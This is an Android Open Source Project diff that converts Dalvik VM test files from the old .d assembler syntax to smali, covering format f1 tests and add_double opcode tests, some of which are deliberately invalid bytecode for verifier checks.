+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d
deleted file mode 100644
index e6e053d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_12.java
-.class public dot.junit.format.f1.d.T_f1_12
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali
new file mode 100644
index 0000000..14ce65c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_12.java"
+.class  public Ldot/junit/format/f1/d/T_f1_12;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d
deleted file mode 100644
index 72ed9ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_2.java
-.class public dot.junit.format.f1.d.T_f1_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali
new file mode 100644
index 0000000..c61dfbc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_2.java"
+.class  public Ldot/junit/format/f1/d/T_f1_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d
deleted file mode 100644
index f98d9fa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_3.java
-.class public dot.junit.format.f1.d.T_f1_3
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali
new file mode 100644
index 0000000..424d56d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_3.java"
+.class  public Ldot/junit/format/f1/d/T_f1_3;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d
deleted file mode 100644
index 22611e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_4.java
-.class public dot.junit.format.f1.d.T_f1_4
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali
new file mode 100644
index 0000000..a145569
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_4.java"
+.class  public Ldot/junit/format/f1/d/T_f1_4;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d
deleted file mode 100644
index e3a993f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_5.java
-.class public dot.junit.format.f1.d.T_f1_5
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali
new file mode 100644
index 0000000..318039e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_5.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_5.java"
+.class  public Ldot/junit/format/f1/d/T_f1_5;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d
deleted file mode 100644
index 6bb0bf0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_6.java
-.class public dot.junit.format.f1.d.T_f1_6
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali
new file mode 100644
index 0000000..92b89cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_6.java"
+.class  public Ldot/junit/format/f1/d/T_f1_6;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d
deleted file mode 100644
index 61f31b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_7.java
-.class public dot.junit.format.f1.d.T_f1_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali
new file mode 100644
index 0000000..2bc1c15
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_7.java"
+.class  public Ldot/junit/format/f1/d/T_f1_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d
deleted file mode 100644
index c622eb0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_8.java
-.class public dot.junit.format.f1.d.T_f1_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali
new file mode 100644
index 0000000..6224337
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_8.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_8.java"
+.class  public Ldot/junit/format/f1/d/T_f1_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d
deleted file mode 100644
index 9a44f4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_f1_9.java
-.class public dot.junit.format.f1.d.T_f1_9
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       nop
-       nop
-       nop
-       nop
-       const v2, 456
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali
new file mode 100644
index 0000000..5288d5a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_9.java"
+.class  public Ldot/junit/format/f1/d/T_f1_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d
deleted file mode 100644
index f3d3653..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_1.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali
new file mode 100644
index 0000000..53b8997
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_1.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d
deleted file mode 100644
index da30626..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_2.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       const v3, 3.1415
-       add-double v0, v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali
new file mode 100644
index 0000000..8abe502
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_2.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/add_double/d/T_add_double_2;
+.super Ljava/lang/Object;
+.source "T_add_double_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(DD)D
+    .registers 7
+
+    const p1, 0x40490e56    # 3.1415f
+
+    add-double v0, p1, p3
+
+    return-wide p3
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d
deleted file mode 100644
index 548c00f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_3.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)D
-.limit regs 7
-
-       add-double v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali
new file mode 100644
index 0000000..85aae4d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_3.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d
deleted file mode 100644
index 7acfdfd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_add_double_4.java
-.class public dot.junit.opcodes.add_double.d.T_add_double_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DD)D
-.limit regs 7
-
-       add-double v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali
new file mode 100644
index 0000000..02fafb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali
